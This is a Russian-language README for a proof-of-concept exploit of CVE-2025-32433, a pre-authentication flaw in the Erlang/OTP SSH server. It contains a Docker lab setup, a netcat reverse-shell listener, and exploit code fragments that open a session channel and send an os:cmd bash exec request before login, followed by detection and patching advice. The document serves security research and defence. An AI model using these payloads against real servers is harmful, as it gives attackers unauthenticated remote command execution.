
Доказательство концепции эксплуатации для CVE-2025-32433, уязвимости путаницы каналов до аутентификации в Erlang/OTP SSH, демонстрирующей обход аутентификации и удаленное выполнение кода с помощью Docker-лаборатории.
Описание: Демонстрация уязвимости путаницы каналов до аутентификации в SSH Erlang/OTP.
О чём этот PoC?
Этот Proof of Concept демонстрирует CVE-2025-32433 — уязвимость в реализации SSH-сервера Erlang/OTP, которая позволяет злоумышленнику открывать SSH-каналы и выполнять команды до аутентификации.
Из-за некорректного контроля переходов состояний протокола SSH определённые SSH-сообщения (SSH_MSG_CHANNEL_OPEN и SSH_MSG_CHANNEL_REQUEST) принимаются до успешного завершения аутентификации пользователя. Это приводит к полному обходу аутентификации и удалённому выполнению команд внутри виртуальной машины Erlang.
Что должно быть уязвимым для срабатывания?
Уязвимость может быть использована при соблюдении следующих условий:
ssh включеноВажно, что эта проблема не зависит от слабых учётных данных или неправильной конфигурации, а связана с ошибочной обработкой состояний протокола.
Как проявляется уязвимость и почему она эксплуатируема?
Проблема заключается в ошибке путаницы состояний в SSH-сервере Erlang/OTP, где состояние аутентификации строго не контролируется перед обработкой сообщений, связанных с каналами.
На высоком уровне эксплуатация происходит следующим образом:
SSH_MSG_CHANNEL_OPEN для канала session.SSH_MSG_CHANNEL_REQUEST типа exec.os:cmd/1) в контексте виртуальной машины.Такое поведение нарушает модель протокола SSH, определённую в RFC 4252/4254, согласно которой создание каналов и запросы должны разрешаться только после успешной аутентификации.
Кратко:
ssh_connection обрабатывает запросы exec преждевременноЭто уязвимость логики и управления состоянием, а не криптографическая слабость.
Следующие шаги создают и развёртывают изолированную уязвимую среду с помощью Docker. Контейнер запускает специально укреплённый SSH-сервер, который отклоняет все учётные данные, гарантируя, что любое успешное выполнение команды является результатом обхода аутентификации.
git clone https://github.com/AntonieSoga/Erlang-OTP-PoC_CVE-2025-32433.git
docker build -t erlang-ssh .

docker run -d --name erlang-ssh -p 2222:2222 erlang-ssh
После запуска SSH-демон будет доступен на порту 2222 и готов к эксплуатации с помощью предоставленного PoC.
Этот скрипт использует недостаток в SSH-сервере Erlang/OTP, который позволяет обрабатывать определённые сообщения протокола SSH до аутентификации.
Процесс эксплуатации требует два терминала: один для приёма обратного соединения, второй для запуска эксплойта.
Слушатель (Терминал 1):
nc -lvnp 4488
Запуск эксплойта (Терминал 2):
python3 exploit.py
Подмена протокола
s.sendall(b"SSH-2.0-OpenSSH_8.9\r\n")
s.sendall(pad(kex))
Эти сообщения используются, чтобы сервер воспринимал соединение как легитимного SSH-клиента. Они продвигают состояние протокола SSH достаточно далеко, чтобы разрешить сообщения, связанные с каналами, без завершения аутентификации.
Канал сессии до аутентификации
s.sendall(pad(b"\x5a" + s_pay("session") + struct.pack(">III", 0, 0x68000, 0x10000)))
Этот запрос используется для открытия канала сессии до аутентификации. На уязвимых SSH-серверах Erlang/OTP это обходит нормальные средства контроля доступа и создаёт несанкционированную сессию.
Запрос на выполнение команды
erl_cmd = f'os:cmd("bash -c \'{escaped}\'").'
exec_req = b"\x62" + struct.pack(">I", 0) + s_pay("exec") + b"\x01" + s_pay(erl_cmd)
Этот запрос используется для запуска выполнения команды через среду выполнения Erlang. Оборачивание полезной нагрузки в синтаксис Erlang гарантирует, что команда выполняется виртуальной машиной Erlang, а не обрабатывается как стандартная команда оболочки SSH.
Если цель уязвима, переданная команда выполняется без аутентификации.


Защита от этой уязвимости основана на строгой сегментации сети и мониторинге на уровне протокола, поскольку стандартные журналы аутентификации могут не регистрировать попытки обхода (так как аутентификация пропускается).
SSH_MSG_CHANNEL_OPEN (Тип 90) отправляются сразу после обмена ключами, без предшествующего пакета SSH_MSG_USERAUTH_SUCCESS (Тип 52).os:cmd или порождения процессов оболочки, которые не соответствуют успешно вошедшей в систему пользовательской сессии в журналах приложения.Единственным полным исправлением является обновление среды выполнения Erlang/OTP для обеспечения строгих переходов состояний.
Немедленно обновите среду выполнения Erlang/OTP до версии, которая применяет проверки аутентификации перед созданием каналов. Убедитесь, что вы используете версию новее, чем указанные в разделе «Уязвимые условия».
Проверьте официальные релизы Erlang/OTP на GitHub на наличие последних исправлений безопасности.
Если немедленное обновление невозможно, примените следующие меры:
Отключите приложение SSH: Если интерфейс SSH не критически важен, остановите приложение, чтобы убрать поверхность атаки:
ssh:stop().
Белый список брандмауэра: Строго ограничьте сетевой доступ к открытому SSH-порту только внутренними административными подсетями.
Antonie Șoga
AntonieSoga · Соавтор
Ene Călin Tudor
7uddy · Соавтор
Cristian Bănică
BanicaCristian04 · Соавтор
Только для образовательных и защитных исследований.
